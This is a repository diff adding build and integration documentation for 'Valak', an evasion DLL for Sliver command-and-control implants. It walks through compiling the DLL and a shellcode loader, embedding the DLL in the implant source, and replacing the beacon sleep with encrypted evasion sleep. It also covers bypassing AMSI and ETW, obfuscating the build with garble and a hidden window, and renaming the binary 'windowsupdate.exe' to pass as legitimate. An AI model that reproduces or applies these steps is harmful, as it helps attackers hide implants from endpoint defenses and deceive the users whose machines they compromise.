Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

docs/BUILD.md

@@ -0,0 +1,32 @@
+## build the dll
+
+requires zig 0.16.x
+
+```bash
+cd evasion
+zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
+# → zig-out/bin/valak.dll
+```
+
+cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB.
+
+## build the loader (optional)
+
+if you need a minimal shellcode loader to get your implant running:
+
+```bash
+cd ../kage
+zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
+# → zig-out/bin/kage.exe
+```
+
+## embed into sliver implant
+
+see [sliver-integration.md](sliver-integration.md) for wiring it into the implant source.
+
+build the implant with garble:
+
+```bash
+go install mvdan.cc/garble@latest
+garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
+```

docs/sliver-integration.md

@@ -0,0 +1,71 @@
+## embed the dll
+
+build the dll first:
+```
+cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
+```
+
+this produces `evasion/zig-out/bin/valak.dll`. convert it to a go byte slice:
+
+```bash
+xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
+```
+
+or just open `go-bridge/embed_dll.go` and paste the bytes manually. the file starts with:
+
+```go
+var embeddedDLL = []byte{
+    0x4d, 0x5a, 0x90, 0x00, ...
+}
+```
+
+replace the `...` with the actual dll bytes.
+
+## drop into sliver
+
+copy `go-bridge/` into `implant/sliver/evasion/valak/`
+
+## wire it up
+
+in `runner.go`, add the import:
+```go
+import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
+```
+
+in `Run()`, call this at the top:
+```go
+valak.Bootstrap()
+```
+
+replace the beacon sleep block (around line 294):
+```go
+// before
+select {
+case <-errors:
+    return err
+case <-time.After(duration):
+case <-shortCircuit:
+}
+
+// after
+select {
+case err := <-errors:
+    return err
+case <-shortCircuit:
+default:
+    valak.EvasionSleep(duration)
+}
+```
+
+on shutdown call:
+```go
+valak.Cleanup()
+```
+
+## build the implant
+
+```bash
+garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
+```
+
+rename the binary to something legit like `windowsupdate.exe`